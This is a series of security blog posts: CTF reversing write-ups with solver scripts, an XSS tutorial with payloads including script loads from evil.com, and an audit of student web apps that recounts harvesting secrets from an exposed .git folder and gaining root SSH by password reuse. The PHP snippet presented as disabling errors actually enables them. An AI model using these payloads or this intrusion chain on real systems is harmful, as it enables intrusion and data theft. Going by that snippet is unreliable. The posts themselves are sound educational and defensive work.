package eu.veldsoft.colors.overflow;
**Truncated**
public class n {
  **Truncated**
  public ByteArrayOutputStream i() {
    try {
      this.byteOutputStream.reset();
      customDataStructure.android_id(this.byteOutputStream, this.android_id);
      customDataStructure.timeOfEncryption(this.byteOutputStream, System.currentTimeMillis());
      customDataStructure.data(this.byteOutputStream, this.SHA1PRNG);
      customDataStructure.data(this.byteOutputStream, this.highScoreDataPlusMessage);
      this.byteOutputStream.flush();
      return this.byteOutputStream;
    } catch (Exception localException) {
      for (;;) {
          localException.printStackTrace();
      }
    }
  }
}

With this class, we are able to further understand what the data is representing:

10 62623339623037303630646561626435 => android_id with length 0x10
b9e8f3d3ca2a => current_time
10 46514bf9f2b3cd3bf580b7cd9bae4514 => SHA1PRNG with length 0x10
20 da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f => highScoreDataPlusMessage with length 0x20

Compiling and running the decompiled Java code gives us the IV required for the AES decryption.

Using a simple python script to run the AES decryption with the key and IV.

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import md5

andid ='bb39b07060deabd5'
cipherText = 'da2990bf15b7fd98a4e73ef766cd714f6f63b2e7f270c55f0caf7e704ca7702f';
def decrypt(cipherText):
    # passphrase MUST be 16, 24 or 32 bytes long, how can I do that ?
    IV = '46514aad58cf3902f580b69931d2b12d'.decode('hex')
    aes = AES.new(md5.new(andid).digest(), AES.MODE_CBC, IV)
    return aes.decrypt(cipherText.decode('hex'))

print decrypt(cipherText,"")

1
2
$ python color.py
{"alictf{A11IsInTraff1c}":2580}

And we got our flag! alictf{A11IsInTraff1c}.

ALICTF 2016 - ColorOverflow (Reversing 100) was originally published by Yeo Quan Yang at Quan Yang on June 11, 2016.

ALICTF 2016 - LoopAndLoop (Reversing 100)

2016-06-06T23:44:13+00:00

ALICTF 2016 - LoopAndLoop

Points: 100 Category: Reversing
Description
The friendship between native and dex. (attachment)

Another android reversing challenge. This was the first challenge I solved in the ALICTF, this one was pretty straightforward. An APK is provided, and as usual I first decompile it with apktool and dex2jar.

Upon decompilation with apktool, you’ll notice a /lib directory which clearly signifies that this apk uses some kind of shared library, and commonly in CTF challenges with APKs, you’d usually be required to reverse the logic found in the shared library.

Next, looking at the dex2jar output, we see some kind of recursive check function that makes use of a function defined in the shared library.

The logic is mainly in the following few snippets of codes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
public void main() {
    if (this.check(i, 99) == 1835996258) {
        localTextView1.setText("The flag is:");
        localTextView2.setText("alictf{" + MainActivity.this.stringFromJNI2(i) + "}");
        return;
    }
}

public native int chec(int paramInt1, int paramInt2);

public int check(int paramInt1, int paramInt2) {
    return chec(paramInt1, paramInt2);
}

public int check1(int paramInt1, int paramInt2) {
    int j = 1;
    int i = paramInt1;
    paramInt1 = j;
    while (paramInt1 < 100) {
      i += paramInt1;
      paramInt1 += 1;
    }
    return chec(i, paramInt2);
}

public int check2(int paramInt1, int paramInt2) {
    if (paramInt2 % 2 == 0) {
      j = 1;
      i = paramInt1;
      paramInt1 = j;
      while (paramInt1 < 1000) {
        i += paramInt1;
        paramInt1 += 1;
      }
      return chec(i, paramInt2);
    }
    int j = 1;
    int i = paramInt1;
    paramInt1 = j;
    while (paramInt1 < 1000) {
      i -= paramInt1;
      paramInt1 += 1;
    }
    return chec(i, paramInt2);
}

public int check3(int paramInt1, int paramInt2) {
    int j = 1;
    int i = paramInt1;
    paramInt1 = j;
    while (paramInt1 < 10000) {
      i += paramInt1;
      paramInt1 += 1;
    }
    return chec(i, paramInt2);
}

And the shared library function reversed to give:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall Java_net_bluelotus_tomorrow_easyandroid_MainActivity_chec(int a1, int a2, int a3, int a4)
{
  int v4; // r4@1
  int v5; // r7@1
  int result; // r0@2
  int v7; // [sp+Ch] [bp-34h]@1
  int v8; // [sp+10h] [bp-30h]@1
  int v9; // [sp+14h] [bp-2Ch]@1
  int v10; // [sp+1Ch] [bp-24h]@1
  int v11; // [sp+20h] [bp-20h]@1
  int v12; // [sp+24h] [bp-1Ch]@1

  v9 = a2;
  v8 = a4;
  v4 = a1;
  v7 = a3;
  v5 = (*(int (**)(void))(*(_DWORD *)a1 + 24))();
  v10 = _JNIEnv::GetMethodID(v4, v5, "check1", "(II)I");
  v11 = _JNIEnv::GetMethodID(v4, v5, "check2", "(II)I");
  v12 = _JNIEnv::GetMethodID(v4, v5, "check3", "(II)I");
  if ( v8 - 1 <= 0 )
    result = v7;
  else
    result = _JNIEnv::CallIntMethod(v4, v9, *(&v10 + 2 * v8 % 3));
  return result;
}

Rewriting the entire logic in Python and we have our solution!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
target = 1835996258

def check(one, two):
    if two <= 1:
        return one
    if (2*two) % 3 == 0:
        return check1(one,two-1)
    elif (2*two) %3 == 1:
        return check2(one,two-1)
    else:
        return check3(one,two-1)

def check1(paramInt1,paramInt2):
    j = 1;
    i = paramInt1;
    paramInt1 = j;
    while paramInt1 < 100:
      i += paramInt1;
      paramInt1 += 1;
    return check(i, paramInt2)

def check2(paramInt1,paramInt2):
    if paramInt2 % 2 == 0:
      j = 1;
      i = paramInt1;
      paramInt1 = j;
      while paramInt1 < 1000:
        i += paramInt1;
        paramInt1 += 1;
      return check(i, paramInt2);
    j = 1;
    i = paramInt1;
    paramInt1 = j;
    while paramInt1 < 1000:
      i -= paramInt1;
      paramInt1 += 1;
    return check(i, paramInt2);

def check3(paramInt1,paramInt2):
    j = 1;
    i = paramInt1;
    paramInt1 = j;
    while (paramInt1 < 10000):
      i += paramInt1;
      paramInt1 += 1;
    return check(i, paramInt2);

print check(236492408,99) == target

Entering 236492408 into the application gives us our flag! alictf{Jan6N100p3r}.

ALICTF 2016 - LoopAndLoop (Reversing 100) was originally published by Yeo Quan Yang at Quan Yang on June 06, 2016.

The ABCs of XSS

2016-05-10T11:32:46+00:00

Cross-site scriping (XSS) is a common web vulnerabilty that has existed for a long time (since 2000) and is still very much prevalent in many websites today. According to a report, XSS alone contributes to about 20% of bugs found in bug bounty programs. Personally, of the many vulnerabilities I’ve found, XSS makes up the majority of them. In this post, I’ll talk about the common types of XSSes and common mistakes done by developers that results in the introduction of XSS vulnerabilities.

XSS can be categorized into smaller categories. I’ll be talking about three categories of XSS, namely, persistent XSS, reflected XSS and DOM XSS.

Persistent XSS

Persistent XSS is called persistent (or sometimes called stored XSS) because the exploit payload is stored persistently in some form of server-side storage.

An example of a PHP script that’d be vulnerable to persistent XSS is:

1
2
3
4
5
6
7
<?php
    if isset($_GET['msg']) {
        store_in_database($_GET['msg']);
    } else {
        echo get_from_database();
    }
?>

This is obviously vulnerable to XSS as neither the input nor the output is escaped/sanitized. The developer has the choice to either sanitize the input or the output or both. However, I’d recommend having the habit to sanitize both input and output.
Important: It is important to perform sanitization on server-side, as client-side sanitization can be easily circumvented.

Another example would be :

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
    function html2txt($document){ 
        $search = "/<[^<]*?>/";
        $text = preg_replace($search, '', $document); 
        return $text; 
    }
    if isset($_GET['msg']) {
        $string = html2txt($_GET['msg']);
        store_in_database($string);
    } else {
        echo get_from_database();
    }
?>

This time, we’ve implemented a function to remove anything that looks like a HTML tag. However, latest browsers are clever enough to fix an incomplete HTML tag from <img src=e to <img src=e>. Therefore, a payload like <img src=e onerror=alert() would pop an alert prompt, indicating a successful XSS exploitation.

Another possible scenario is when a developer implements a function to remove any HTML tags that are specified in a blacklist. A blacklist approach is bad as it is easy to accidentally miss out a particular element. Also, new HTML elements are added every now and then and it’d take effort to maintain the blacklist. A whitelist approach is a much better solution. However, whitelisting should only be used when it is really necessary to have a particular HTML element in the input.

Real-life example (ivle.nus.edu.sg):
So in IVLE, teaching staffs are allowed to put text into their about me section. The first thing that comes to my mind was to try to input an image element. Yes, it seems that image elements are allowed. Now, let’s try to insert an eventhandler together with the image element, so that we can execute arbitrary JavaScript. However, it seems that all on* text are stripped, regardless if its a legitimate eventhandler or not. Now let’s try to insert a script element instead. It seems that script tags are stripped too. How about if we insert an invalid script tag. One that does not have the closing angled bracket. Yes! It seems that the filtering mechanism fails to filter incomplete HTML tags.

Reflected XSS

Reflected XSS on the other hand is called reflected as there is some kind of reflection of parameter values onto the response. For reflected XSS, the payload should not be stored persistently on the server. For reflected XSS, the attack payload is delivered and executed in a single request and response.

An example of a PHP script that’d be vulnerable to reflected XSS is:

1
2
3
4
5
<?php
    if isset($_GET['msg']) {
        echo $_GET['msg'];
    }
?>

Similarly to persistent XSS, this is vulnerable as neither the input or the output is being sanitized. The scenarios that are applicable to persistent XSS can be applied here too.

Of the many XSS vulnerabilities I found, there was a particular behaviour that was common across many websites. Imagine a URL like http://example.org/login.php?next=/profile.php, there are many ways to implement the redirection and one way is as follows:

1
2
3
4
5
<?php
    if isset($_GET['next']) {
        echo "<script>window.location= '".$_GET['next'];."'</script>";
    }
?>

Here we see that there is a reflected XSS vulnerability caused by the reflection of the next parameter. The correct way to do a redirection is to make use of HTTP headers.

1
2
3
4
5
<?php
    if isset($_GET['next']) {
        header('Location: '.$_GET['next']);
    }
?>

Real-life example:
Here we can see that the ReturnUrl parameter is reflected and used by window.location.href.

DOM-based XSS

DOM-based XSS is unlike persistent or reflected XSS. DOM-based XSS is different in the sense that the payload is not found in the source code and is executed as a result of modifying the Document Object Model (DOM) environment in the victim’s browser.

An example of a DOM-based XSS is:

1
2
3
4
5
6
7
8
9
10
<html>
    <body>
        <script>
            var script = document.createElement('script');
            script.src = location.hash.substr(1);
            document.body.appendChild(script);
        </script>
        <p>Loads script based on the location.hash value.</p>
    </body>
</html>

There are a few payloads where this particular XSS can be exploited using.

Assuming that the HTML code was hosted on http://example.org/, the first payload + URL that would allow arbitrary JavaScript execution is http://example.org/#http://evil.com/evilscript.js. In the payload, an arbitrary HTTP resource URL could be specified and loaded as a result of the JavaScript execution; an attacker could specify a URL where a malicious JavaScript is hosted and trick his victim into visiting the URL.

The second payload is similar to the first payload, but makes use of a different URI scheme. The data URI scheme can be used to include data in-line as if they were external resources. Using a payload + URL like http://example.org/#data:text/html,alert(1) would cause an alert prompt to be displayed as a result of the JavaScript execution.

Another example of DOM-based XSS is:

1
2
3
4
5
6
7
8
<html>
    <body>
        <script>
            document.location = location.hash.substr(1);
        </script>
        <p>Opens a new window with the specified value in location.hash.</p>
    </body>
</html>

For this case, in normal scenario it’d be expected that a URL would be provided through the location.hash value and as a result, the webpage would redirect the user to the provided URL. However, an attacker could make use of the JavaScript URI scheme to result in arbitrary JavaScript code execution in the context of the vulnerable website, this allows the attacker to steal cookies belonging to the vulnerable website. An example of a URL + payload is http://example.org/#javascript:alert(1) where when visited would spawn an alert prompt as a result of the web browser attempting to redirect to javascript:alert(1).

DOM-based XSS could also be found as a result of using external libraries like jQuery, an example of that is:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
    <head>
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.2/jquery.min.js"></script>
    </head>
    <body>
        <script>
            var hash = location.hash.substr(1);
            if ($(hash)) {
                //Do something if the element could be found.
            }
        </script>
    </body>
</html>

Most people don’t know, but the $() method can create HTML elements. When jQuery fails to find the element specified by the selector, it creates the element instead. Therefore if the accessed URL of the example above was http://example.org/#<img src=e onerror=alert()>, it would result in the image element being created and as a result, causing an alert prompt to be spawned.

To be more specific, if there was user-controllable data flow into functions like eval,document.write,window.open,document.location and the data is not sanitized in anyway, then it’d likely be an XSS vulnerability.

In some cases, user-controllable data flow into JavaScript methods that are used for fetching resources/defining resource URLs for elements.

An example could be:

1
2
3
4
5
6
7
8
9
10
11
<html>
    <body>
        <script>
            var url = location.hash.substr(1);
            var scriptElement = document.createElement('script');
            scriptElement.src = url;
            document.body.appendChild(scriptElement);
        </script>
        <p>Creates a script and assign the location.hash value as the source.</p>
    </body>
</html>

The above example is straightforward, and there are few other edge cases where the user-controllable data does not form the entire resource URL, but partial.

1. Partial domain:

1
2
3
4
5
6
<script>
    var url = location.hash.substr(1);
    var scriptElement = document.createElement('script');
    scriptElement.src = 'http://example.org' + url + '/test.js';
    document.body.appendChild(scriptElement);
</script>

This could be exploited if the value #@evil.com is specified in the fragment/hash of the URL (i.e. http://[email protected]/test.js would be assigned to script.src instead). We see here that by using the @ character which is often used to specify username/password for a website authorization, an attacker could cause the script element to fetch the resource from evil.com instead of example.org.

2. Partial path:

1
2
3
4
5
6
<script>
    var url = location.hash.substr(1);
    var scriptElement = document.createElement('script');
    scriptElement.src = '/' + url;
    document.body.appendChild(scriptElement);
</script>

What is expected by the developer is most likely for the URL to be http://example.org/#test.js. However, a URL like http://example.org/#/evil.com/test.js would result in the script.src to be assigned the value //evil.com/test.js. Again, instead of fetching the resource from example.org, the element is now fetching the resource from evil.com instead.

3. Partial query:

1
2
3
4
5
6
7
8
9
<script>
    function doSomething(data) {
        // do something with data.
    }
    var url = location.hash.substr(1);
    var scriptElement = document.createElement('script');
    scriptElement.src = 'http://example.org/jsonp/?referer=' + url + '&callback=doSomething';
    document.body.appendChild(scriptElement);
</script>

If you’re familiar with JSONP endpoints, you might know that the callback=doSomething parameter is used to specify the function that would be called. In this case, the example behaviour is for the script to call the doSomething function with the data provided by the JSONP endpoint. However, imagine a URL like http://example.org/#evil.com&callback=alert as a result, the value http://example.org/#evil.com&callback=alert&callback=doSomething fetched and dependingly, the service might take callback=alert as precedence over callback=doSomething resulting in an alert prompt being spawned.

Miscellaneous

The following few categories are on miscellaneous defense mechanisms/topics which are related to XSS.

AngularJS XSS

In Angular, templates are written with HTML that contains Angular-specific elements and attributes. Angular combines the template with information from the model and controller to render the dynamic view that a user sees in the browser.

In Angular 1, some developers mixes server-side and client-side code, which results in template injection allowing XSSes as a result. An example of this is:

1
2
3
<div ng-app>
    { { '<?php echo $_GET[‘username’]; ?>’ }} 
</div>

As a result of this, Angular came up with sandboxes, which some might see as a big mistake. Even with sandbox, many researchers are able to find bypasses using reflection to execute arbitrary JavaScript.

I’d recommend you to view this presentation slide by Mario H. if you’re really interested.

XSS Auditor

XSS auditor is a security mechanism implemented by browsers in an attempt to mitigate XSS attack. What it does is to check if any parameter is reflected into the server response, and if it is, block/remove the value reflected depending on the HTTP response header.

By default the Chrome browser has XSS auditor enabled with rewrite mode. Rewrite mode is to remove the portion of value that is reflected.

There are three settings available:

X-XSS-Protection: 0 - Which disables the XSS-auditor.
X-XSS-Protection: 1 - Which is the default value if nothing is specified.
X-XSS-Protection: 1; mode=block - If reflection is detected, the entire site would be blocked.
Additionally, you could also specify a URL for the browser to report any violation to.

Currently, there is no recommended value for this mechanism, and every website should decide based on their individual situation. For more information, you can read this article by @filedescriptor.

Sandboxed domains

What some site does is to host user content on a separate domain where no cookies are stored and deliberately segmented from the main domain. This is commonly seen in Google sites and more commonly seen recently with the use of CDNs to host images/files uploaded by users.

However, without proper segmentation, a vulnerability on the sandbox domain could be used to pivot into the main domain as well. Here’s a bug found by a researcher and how he ultimately turned an XSS on a sandboxed domain into an XSS on *.facebook.com.

SVG elements

The <svg> element represents the root of a Scalable Vector Graphics (SVG) fragment and a svg file is usually transmitted with a mimetype of image/svg+xml. What this means is that for some websites, they may accept SVG files as image and as such, accepted in image upload fields.

While embedding a malicious SVG image does not result in JavaScript execution, visiting an SVG file hosted on a site would most likely result in the malicious script executing under the context of the site.

An example of a malicious SVG is:

1
2
3
4
5
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
    <script>
        alert(document.domain)
    </script> 
</svg>

Content Security Policy

Content Security Policy (CSP) was introduced to mitigate XSS. In general, CSP is a policy for a form of whitelisting/blacklisting mechanism. With CSP you are able to enforce rules on the type/location of content that can be loaded by what element. You can also restrict stuff like inline JavaScript execution (i.e. `<button onclick=”…”>).

Conclusion

XSS has been around for a long time and is still considered a very high-impact and pressing issue for many websites. Many large websites are still struggling to remove XSSes and unfortunately there is still no visible solution that could eradicate the entire class of XSS vulnerability completely. However, with proper understanding and defensive mechanisms in place, the number of XSSes vulnerabilities could be potentially brought to a minimum.

The ABCs of XSS was originally published by Yeo Quan Yang at Quan Yang on May 10, 2016.

Defense of the Applications.

2016-04-22T08:41:52+00:00

At NUS School of Computing, a project showcase is held nearing to the end of every semester. For this semester, I had no projects in the showcase, I was instead participating under a very different role. Closer to STePS, Dr. Steven Halim invited me to help perform security audit on a dozen websites developed by his students in a module which would be showcased during STePS.

I started manually auditing each and every web application, identifying vulnerabilities from simple ones like XSS to SQLi. I was shocked by some of the coding practices as well as deployment techniques as many of the vulnerabilities found were simple to fix and should have never been there. Therefore I decided to write this post to share the more commonly found vulnerabilties as well as severe ones that should never have existed with good deployment practices.

DISCLAIMER: I am writing this not to shame any of the teams or individuals, but to share information that would be helpful to other people in the same situation.

Cross-Site Scripting

Out of the 12 websites, three of them had XSS vulnerabilities. All of the three application were vulnerable to XSS due to unsanitized input/output. Had they used some kind of front-end framework like AngularJS, the issue would have been half solved by the framework, and from the way the application is behaving, I am highly suspecting that they are not using any kind of back-end framework (e.g Laravel for PHP), which would have some kind of escaping feature in place.

This application allows you to create posts, and image elements was allowed in the content along with many other HTML elements. The application also allows for markdown formatting, which provided for another vector for XSS using [XSS](http://quanyang.github.io "onmouseover=alert(1);//,) as a payload.

The mistake made by them here is to leave the output unsanitized and to provide for markdown formatting without fully understanding the potential for vulnerabilities.

The second application, similar to the one before, allows you to create posts, and likewise inputs and outputs were not sanitized. After they ‘patched’ the initial XSS vulnerability, I went back to take a second look and realized that all they did was to escape the input using JavaScript before sending the data over to the backend endpoint, which was useless as I could still do a HTTP POST directly with the same payload.

This same application had many other vulnerabilities (you will see later), and the majority of them wouldn’t have existed had they used a proper back-end framework instead of writing from ground-up (observed through the application’s behaviour). At this point in time, there is still an XSS vulnerability on one of the input form. However, this field is not shown to any other user other than yourself, this is also called self-XSS, which may or may not be dangerous depending on situation.

For the third application, the XSS vulnerability was kind of different as I managed to inject the payload in using an unauthenticated endpoint that I found through auditing the JavaScript source code. The endpoint allows me to add new schedules to the calendar and as the outputs were not sanitized, they became sinks for XSS. Likewise, the vulnerability wouldn’t have exist if they had used a framework instead.

Take-away from XSS

Use frameworks if possible, unless you’re very familiar with the language and system. However, even with a framework, you still have to understand and utilize the framework properly in order to prevent simple vulnerabilities and to not introduce more.
Don’t implement markdown formatting without prior experience/knowledge.
Sanitize ALL input/output regardless, and if needed, use the white list instead of black list approach.
Never assume that an output would only come from an authorized user. Hidden endpoints could be discovered, and if not secured, would result in vulnerabilities.

SQL Injection

SQL injection wasn’t as easy to find as XSS, but was still present in some of the applications. Out of the 12, three of the sites was/is vulnerable to SQLi. I’d say SQLi could be more severe than XSS as it allows an attacker to dump your entire database, and if suitable, even be able to spawn a shell and perform further exploitation from within the servers.

From the image, you can obviously see the SQL errors as well as that the output includes the row which was union’ed together by the injected SQL query. Also, the SQL errors helps provide information on what type of OS (Some kind of Linux) as well as the filepath of the web service. For this case, I did not attempt to enumerate further and stopped here as it provided sufficient evidence that the vulnerability exists.

This is the same application that was vulnerable to XSS earlier and this time, it is also vulnerable to SQLi with many of the endpoints vulnerable. It is noticeable that the difference between the two reponse is in the number of quotes, which strongly indicates an SQL error that happens when an opening quote is not closed. However, exploitation for this particular application is a little bit more tricky due to the way queries were written. Likewise, SQL injection would not have been possible with the use of a framework or prepared statements.

For the third application, initially this same endpoint was vulnerable to directory traversal that allows me to obtain any arbitrary file on the server. However, that has now been patched and I instead found that this other parameter is vulnerable to SQL injection. The way I verify this is interesting. An experienced MySQL developer would know that ;-- (I added the semi-colon to make it more obvious) is used for commenting in SQL. However, ;-- only works when there’s a space or line-break after. From the two image, you can see that the page loaded fine (though invalid file) when the space (%20) was added. The two images looks like two different pages but the difference is due to a redirection done by the website.

Take-away from SQL injection

Refer to XSS lesson #1. Sometimes using an ORM (e.g. Eloquent on Laravel) would reduce the need to write queries and as a result, less vulnerabilities introduced.
Please sanitize ALL input before using them in a database query.
If not lazy, use prepared statements for all queries. HIGHLY RECOMMENDED
Never store user password in plaintext, always use hash+salt. For PHP you can use the hash_password native function to handle the hashing and salting for you.
Never use the root user for DB connections, always create a separate user and provide only the least amount of privileges. This is also called the principle of least privilege.

Business Logic Vulnerability

Business logic vulnerability is when there is a lack of or broken security control. In this context, the issue takes place usually on API endpoints where data modification/insertion/selection is done. This was the most common issue amongst the 12 websites; six of them had issues with business logic.

The following is an example using one of the 12 application: Here, we are looking at a post made by quanyang with the post id of 11. Here, we have a delete request JavaScript function that was found through auditing the JavaScript source code. Also, notice that I am now logged out of user quanyang. After invoking the deletion function with the post id of 11, we see that the post with id 11 no longer exists. Showing that the deletion works and that the endpoint does not have any access control or authentication in place.

For most of the applications, the possible outcome of an exploitation of a business logic vulnerability would be to have content deleted/modified/viewed by unauthorized users.

In this application, an attacker is able to obtain information on all the modules ever taken by a student simply by changing the matric number respectively. The web application did not put in place any access control or validation to ensure that the matric number belongs to the user currently logged in.

In another application, due to a business logic vulnerability, I was able to plant an XSS payload onto the website without having to be authenticated as an admin or user (this was mentioned earlier).

Take-away

Never assume that no one would attempt to perform actions outside of what is allowed on the user interface/website.
Security through Obscurity violates Kerckhoffs’ Principle, never assume that no one would find the API endpoints you did not secure.

Miscellaneous stuff

Some other miscellaneous issues (not neccessarily vulnerabilities) that provided information which was useful for me to proceed further.

Directory Enumeration

This would be useful for an attacker to learn more about your website. Some information I could gather would be like what files you have, what backend language you are using, what kind of naming convention do you follow (which can be useful for other stuff), what other pages can I view and in this case where’s your admin page.

Although it is commonly said not to secure a system through obscurity, what it really means is that you should not rely on obscurity as the only layer of defense. A layered defense is always better when implemented and designed properly.

To hide the directory listing, one simple way is to create an index.html page in every directory. However, this isn’t very elegant and might irk some people. To solve it more elegantly, you could modify the webserver configuration.

For Apache, instead of the following:

1
2
3
4
5
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

Remove the Indexes option to disable the directory listings.

1
2
3
4
5
<Directory /var/www/>
        Options FollowSymLinks
        AllowOverride None
        Require all granted
</Directory>

Another way is to insert the following into an .htaccess file inside the directory you would like to disable listing for:

Options -Indexes

Pages that requires authentication

Here’s a pretty rare one, I never thought I’d ever find one of these around. For the following part, I’ll be using the PHP language to explain the behavior, as well as to solve it.

For PHP, here’s how a typical developer would check if a user is login, else redirect.

1
2
3
4
5
6
7
8
9
10
<?php
    session_start();
    if (!isset($_SESSION['userid'])) {
        //Check if user is not logged in
        header('location: login.php');
    }

    // Assume logged in and print some data or information
    echo 'FLAG{123}';
?>

We can see that if we perform a curl to the page, the FLAG is sent to us. This is because curl by default do not follow redirections.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
→ curl https://**redacted**/test.php -i
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.1
Date: Sat, 23 Apr 2016 16:42:24 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: test.php?notloggedin

FLAG{123}

And this was exactly what one of the application did, the following snippet shows the reply from the server when I did a curl to the admin page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
→ curl **redacted**/php/admin.php
<!DOCTYPE HTML>
<html>
<head>
**Truncated**
<script>
function getData(sel){
    var value=sel.value;
    console.log(value);
    $.ajax({
     url: "**redacted**",
     method: "POST",
     data: {'type':"**redacted**",'**redacted**':value
     },
     success:function(data){
        var parsed=$.parseJSON(data);
        $("#displayData th").remove();
        $("#displayData tr").remove();
        if(parsed.TableData!=null){
            **Truncated**
        }
        }
     }
    })
}
**Truncated**
</script>
</html>

What they should have done was to make a function call to die() after the redirection or to encapsulate the entire else logic into an else conditional.

1
2
3
4
5
6
7
8
9
10
<?php
    session_start();
    if (!isset($_SESSION['userid'])) {
      //Check if user is not logged in
      header('location: login.php');
      die();
    } else {
      //User is logged in
    }
?>

Debugging Information/Error Messages

The first thing to do when deploying an application to the production server is to turn off all debugging messages and error messages. Error/debugging messages allows an attacker to learn what kind of framework you’re using, and in some case even backdoors you’ve planted.

For PHP, you can disable PHP errors by calling the following in a PHP script:

1
2
3
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

Destroying the Ancients

This portion of the post will be about the steps I took to obtain credentials to the server, database and back-end sourcecodes of one of the application. I’ll be focusing on the mistakes made by the developers along the way as I describe the steps.

I was auditing this same application for the second time, and as the application has very little features, the attack surface on the website itself was limited. As such, this was the only application in which I delved into attacking the infrastructure as well.

The first thing to do was to gather more information on the servers. Using Nmap, I could find out what ports are open and what services are running easily.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
→ nmap -A **redacted**

Starting Nmap 6.47 ( http://nmap.org ) at 2016-04-24 01:09 SGT
Nmap scan report for **redacted** (**redacted**)
Host is up (0.014s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        (protocol 2.0)
| ssh-hostkey:
**redacted**
80/tcp   open  http       Apache httpd 2.4.7 ((Ubuntu))
| http-git:
|   **redacted**/.git/
|     Git repository found!
**truncated**
3306/tcp open  mysql      MySQL 5.5.46-0ubuntu0.14.04.2
| mysql-info:
**truncated**
8080/tcp open  tcpwrapped
**truncated**
Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds

Two very severe mistakes were made by this group.
1) Do not ever ever ever git clone directly into your webserver’s public directory (We’ll see why later).
2) Never ever ever expose your MySQL service to the public, unless you know what you’re doing.

So what’s next?

Obviously, download the entire .git folder! How to do this? Using wget. Those unfamiliar with git might ask, so what can you do with the .git folder?
Here’s what you could do:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
→ git clone .git **redacted**
Cloning into '**redacted**'...
done.
→ ls **redacted**
**truncated**
backup database.sql
backup for basic sql structure.sql
**truncated**
db
**truncated**
login.php
loginFB.php
loginFBCallback.php
**truncated**

Doing so allows you to obtain the entire content of the Git repository.

What’s next? Do a search for passwords and token! Obviously, the first place is to look at the db folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
→ cat db/**redacted**.php
<?php // connect.php basically contains these commands

    define("db_host", "**redacted**");
    //define("db_host", "localhost");
    define("db_uid", "**redacted**");
    define("db_pwd", "**redacted**");
    define("db_name", "**redacted**");

$db = new mysqli(db_host, db_uid, db_pwd, db_name);

if ($db->connect_errno) // are we connected properly?
  exit("Failed to connect to MySQL, exiting this script");


?>

Tada! Now we have the database password. What do we look for next? Secret tokens for Facebook!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
→ cat loginFB.php
<?php
    session_start();
    require_once __DIR__ . '/facebook-php-sdk-v4-5.0.0/src/Facebook/autoload.php';

    $fb = new Facebook\Facebook([
      'app_id' => '**redacted**',
      'app_secret' => '**redacted**',
      'default_graph_version' => 'v2.5',
    ]);

    $helper = $fb->getRedirectLoginHelper();
    $permissions = ['email', 'public_profile'];
    //the loginUrl should only be generated and shown when the user is not logged in
    $loginUrl = $helper->getLoginUrl('**redacted**', $permissions);
    if(!isset($_SESSION['role'])){
        echo '<a href="' . $loginUrl . '">Log in with Facebook!</a>';
    }
?>

With the application secret, I could make calls to Facebook Graph API on behalf of the application, potentially violating privacy of its users.

Take-away so far

Never place SECRETS/PASSWORDS in the backend code itself, place them into the environment variables or in a file in another directory which no one can view except root/web-user, and make sure the file is not in your GIT repository.
Never use simple passwords, gosh it’s not like you’re going to enter these passwords everyday, please use something stronger and randomly generated. In this case, the passwords were really simple and short.
Do not ever ever ever git clone directly into your webserver’s public directory (We saw why now).
Never ever ever expose your MySQL service to the public.

Thanks to the exposed MySQL service, I can now login directly to the DB and enumerate every piece of user data they have (I didn’t).
Next step, obviously I’ll be trying the same password on their root account of the SSH service.

Hurray! root access! Did you also notice that their server hasn’t been updated for a while.

What did they do wrong? Many areas!

Never enable passwords for SSH login (especially if you’re hosting with Digital Ocean). Use SSH keys instead, enabling passwords is bad when you have short passwords. Read here for steps to enable SSH keys.
Never ever ever re-use passwords.
Never ever ever allow login to root accounts. Always let users get elevated privileges through sudo, which an administrator could control more discretely/fine-grained.
Update your server regularly!

Like many has said, all you need is one weak spot in order for an adversary to enter your system. Even if I did not manage to enter the server through SSH, I could easily pivoted from the Database servers by spawning a reverse shell or planting a backdoor onto their server.

Conclusion

There are many different possible vulnerabilities that might exist on a website and it takes concious effort in order to discover and patch them. However, common vulnerabilities like those mentioned should have been detected earlier and removed. Hopefully this post will help introduce some concept of security as well as some technical details that you might not have known before.

I’d like to iterate that the post is not to shame anyone of the 12 applications and I’d also like to take the chance to thank Dr. Steven Halim for giving me the chance to audit them. :P

Defense of the Applications. was originally published by Yeo Quan Yang at Quan Yang on April 22, 2016.

Plaid CTF 2016 - Morset (Misc 50)

2016-04-22T06:23:18+00:00

Plaid CTF 2016 - Morset

Points: 50
Category: Misc
Description
A mysterious signal… can you decode it? Running at morset.pwning.xxx:11821

After connecting to the service, you’ll receive some data that looks like morse code. If you enter some reply, you’ll receive more morse code that looks like a response. I also found out that if you send some morse code back, you’ll get a different response from if you send non-morse code characters, which seem to signify that the response is important for getting the flag.

